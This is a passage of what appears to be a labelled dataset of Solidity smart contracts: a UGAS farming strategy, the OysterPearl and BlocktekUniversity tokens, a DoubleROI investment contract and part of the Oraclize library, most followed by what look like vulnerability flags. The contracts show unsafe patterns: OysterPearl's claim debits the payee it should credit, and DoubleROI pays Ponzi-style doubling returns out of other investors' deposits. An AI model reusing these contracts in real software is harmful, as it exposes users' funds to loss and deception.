IERC20(0xfc10b3A8011B00489705EF1Fc00D0e501106cB1D);
uint32 internal block_timestamp_last;
uint256 internal price_cumulative_last;
uint256 internal constant MIN_TWAP_TIME = 60 * 60;
uint256 internal constant MAX_TWAP_TIME = 120 * 60;
uint256 internal constant TWAP_BOUNDS = 5 * 10**15;
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
function bounds(uint256 uniswap_quote) internal pure returns (uint256) {
uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE);
return minimum;
}
function bounds_max(uint256 uniswap_quote) internal pure returns (uint256) {
uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE);
return maximum;
}
function withinBounds(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (bool)
{
uint256 uniswap_quote = consult();
uint256 quoted = quote(purchaseAmount, saleAmount);
uint256 minimum = bounds(uniswap_quote);
uint256 maximum = bounds_max(uniswap_quote);
return quoted > minimum && quoted < maximum;
}
function update_twap() public {
(uint256 sell_token_priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
false
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED");
price_cumulative_last = sell_token_priceCumulative;
block_timestamp_last = blockTimestamp;
}
function consult() internal view returns (uint256) {
(uint256 sell_token_priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
false
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
uint256 priceAverageSell =
uint256(
uint224(
(sell_token_priceCumulative - price_cumulative_last) /
timeElapsed
)
);
uint256 purchasePrice;
if (priceAverageSell > uint192(-1)) {
purchasePrice = (priceAverageSell >> 112) * ONE;
} else {
purchasePrice = (priceAverageSell * ONE) >> 112;
}
return purchasePrice;
}
modifier timeBoundsCheck() {
uint256 elapsed_since_update = block.timestamp - block_timestamp_last;
require(
block.timestamp - block_timestamp_last < MAX_TWAP_TIME,
"Cumulative price snapshot too old"
);
require(
block.timestamp - block_timestamp_last > MIN_TWAP_TIME,
"Cumulative price snapshot too new"
);
_;
}
}
interface SynthMinter {
struct Unsigned {
uint256 rawValue;
}
struct PositionData {
Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
Unsigned withdrawalRequestAmount;
Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function create(
Unsigned calldata collateralAmount,
Unsigned calldata numTokens
) external;
function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory);
function withdraw(Unsigned calldata collateral_amount) external;
function positions(address account) external returns (PositionData memory);
function settleExpired() external returns (Unsigned memory);
function expire() external;
}
contract UGASSEPTFarming is TWAPBoundedUGASSEPT, UniHelper, YamSubGoverned {
enum ACTION {
ENTER,
EXIT
}
constructor(address gov_) public {
gov = gov_;
}
SynthMinter minter =
SynthMinter(0xcA2531b9CD04daf0c9114D853e7A83D8528f20bD);
bool completed = true;
ACTION action;
address internal constant RESERVES =
address(0x97990B693835da58A281636296D2Bf02787DEa17);
function _mint(uint256 collateral_amount, uint256 mint_amount) internal {
WETH.transferFrom(RESERVES, address(this), collateral_amount);
WETH.approve(address(minter), uint256(-1));
minter.create(
SynthMinter.Unsigned(collateral_amount),
SynthMinter.Unsigned(mint_amount)
);
}
function _repayAndWithdraw() internal {
SEPT_UGAS.approve(address(minter), uint256(-1));
SynthMinter.PositionData memory position = minter.positions(
address(this)
);
uint256 ugasBalance = SEPT_UGAS.balanceOf(address(this));
if (ugasBalance >= position.tokensOutstanding.rawValue) {
minter.redeem(position.tokensOutstanding);
} else {
minter.redeem(
SynthMinter.Unsigned(
position.tokensOutstanding.rawValue - ugasBalance <=
5 * 10**18
? position.tokensOutstanding.rawValue - 5 * 10**18
: ugasBalance
)
);
}
}
function enter() public timeBoundsCheck {
require(action == ACTION.ENTER, "Wrong action");
require(!completed, "Action completed");
uint256 ugasReserves;
uint256 wethReserves;
(wethReserves,ugasReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, ugasReserves),
"Market rate is outside bounds"
);
uint256 wethBalance = 300 * (10**18);
uint256 collateral_amount = (wethBalance * 79) / 100;
uint256 mint_amount = (collateral_amount * ugasReserves) /
wethReserves /
4;
_mint(collateral_amount, mint_amount);
_mintLPToken(uniswap_pair, WETH, SEPT_UGAS, mint_amount, RESERVES);
completed = true;
}
function exit() public timeBoundsCheck {
require(action == ACTION.EXIT);
require(!completed, "Action completed");
uint256 ugasReserves;
uint256 wethReserves;
(wethReserves,ugasReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, ugasReserves),
"Market rate is outside bounds"
);
_burnLPToken(uniswap_pair, address(this));
_repayAndWithdraw();
WETH.transfer(RESERVES, WETH.balanceOf(address(this)));
uint256 ugasBalance = SEPT_UGAS.balanceOf(address(this));
if (ugasBalance > 0) {
SEPT_UGAS.transfer(RESERVES, ugasBalance);
}
completed = true;
}
function _approveEnter() public onlyGovOrSubGov {
completed = false;
action = ACTION.ENTER;
}
function _approveExit() public onlyGovOrSubGov {
completed = false;
action = ACTION.EXIT;
}
function _redeem(uint256 debt_to_pay) public onlyGovOrSubGov {
minter.redeem(SynthMinter.Unsigned(debt_to_pay));
}
function _withdrawCollateral(uint256 amount_to_withdraw)
public
onlyGovOrSubGov
{
minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw));
}
function _settleExpired() public onlyGovOrSubGov {
minter.settleExpired();
}
function masterFallback(address target, bytes memory data)
public
onlyGovOrSubGov
{
target.call.value(0)(data);
}
function _getTokenFromHere(address token) public onlyGovOrSubGov {
IERC20 t = IERC20(token);
t.transfer(RESERVES, t.balanceOf(address(this)));
}
} | 0 | 1,707 |
pragma solidity ^0.4.17;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract OysterPearl {
string public name = "Oyster Pearl";
string public symbol = "TPRL";
uint8 public decimals = 18;
uint256 public totalSupply;
uint256 public funds = 0;
address public owner;
bool public saleClosed = false;
bool public ownerLock = false;
uint256 public claimAmount;
uint256 public payAmount;
uint256 public feeAmount;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public buried;
mapping (address => uint256) public claimed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Bury(address indexed target, uint256 value);
event Claim(address indexed payout, address indexed fee);
function OysterPearl() public {
owner = msg.sender;
totalSupply = 0;
totalSupply += 25000000 * 10 ** uint256(decimals);
totalSupply += 75000000 * 10 ** uint256(decimals);
totalSupply += 1000000 * 10 ** uint256(decimals);
balanceOf[owner] = totalSupply;
claimAmount = 5 * 10 ** (uint256(decimals) - 1);
payAmount = 4 * 10 ** (uint256(decimals) - 1);
feeAmount = 1 * 10 ** (uint256(decimals) - 1);
}
modifier onlyOwner {
require(!ownerLock);
require(block.number < 8000000);
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
function selfLock() public onlyOwner {
ownerLock = true;
}
function amendAmount(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet) public onlyOwner {
require(claimAmountSet == (payAmountSet + feeAmountSet));
claimAmount = claimAmountSet * 10 ** (uint256(decimals) - 1);
payAmount = payAmountSet * 10 ** (uint256(decimals) - 1);
feeAmount = feeAmountSet * 10 ** (uint256(decimals) - 1);
}
function closeSale() public onlyOwner {
saleClosed = true;
}
function openSale() public onlyOwner {
saleClosed = false;
}
function bury() public {
require(balanceOf[msg.sender] > claimAmount);
require(!buried[msg.sender]);
buried[msg.sender] = true;
claimed[msg.sender] = 1;
Bury(msg.sender, balanceOf[msg.sender]);
}
function claim(address _payout, address _fee) public {
require(buried[msg.sender]);
require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= 60);
require(balanceOf[msg.sender] >= claimAmount);
claimed[msg.sender] = block.timestamp;
balanceOf[msg.sender] -= claimAmount;
balanceOf[_payout] -= payAmount;
balanceOf[_fee] -= feeAmount;
Claim(_payout, _fee);
}
function () payable public {
require(!saleClosed);
require(msg.value >= 1 finney);
uint256 amount = msg.value * 5000;
require(totalSupply + amount <= (500000000 * 10 ** uint256(decimals)));
totalSupply += amount;
balanceOf[msg.sender] += amount;
funds += msg.value;
Transfer(this, msg.sender, amount);
}
function withdrawFunds() public onlyOwner {
owner.transfer(this.balance);
}
function _transfer(address _from, address _to, uint _value) internal {
require(!buried[_from]);
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,172 |
pragma solidity ^0.4.24;
contract DoubleROI {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) referrer;
uint256 public step = 2400;
uint256 public minimum = 10 finney;
uint256 public maximum = 5 ether;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
require(msg.value <= maximum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
withdraw();
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 userROIMultiplier = 2**(minutesCount / 60);
uint256 percent;
uint256 balance;
for(uint i=1; i<userROIMultiplier; i=i*2){
percent = investments[_address].mul(step).div(1000) * i;
balance += percent.mul(60).div(1440);
}
percent = investments[_address].mul(step).div(1000) * userROIMultiplier;
balance += percent.mul(minutesCount % 60).div(1440);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
joined[msg.sender] = block.timestamp;
if (address(this).balance > balance){
if (balance > 0){
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
if (balance > 0) {
msg.sender.transfer(address(this).balance);
emit Withdraw(msg.sender, balance);
}
return true;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,249 |
pragma solidity ^0.4.11;
contract BlocktekUniversity {
string public symbol = "";
string public name = "";
uint8 public constant decimals = 18;
uint256 _totalSupply = 0;
address owner = 0;
address certificateAuthoirty = 0xC3334De449a1dD1B0FEc7304339371646be8a0c9;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function BlocktekUniversity(address adr) {
owner = adr;
symbol = "BKU";
name = "Blocktek University Credits";
_totalSupply = 150000000 * 10**18;
balances[owner] = _totalSupply;
}
function totalSupply() constant returns (uint256 totalSupply) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 3,474 |
pragma solidity 0.4.20;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
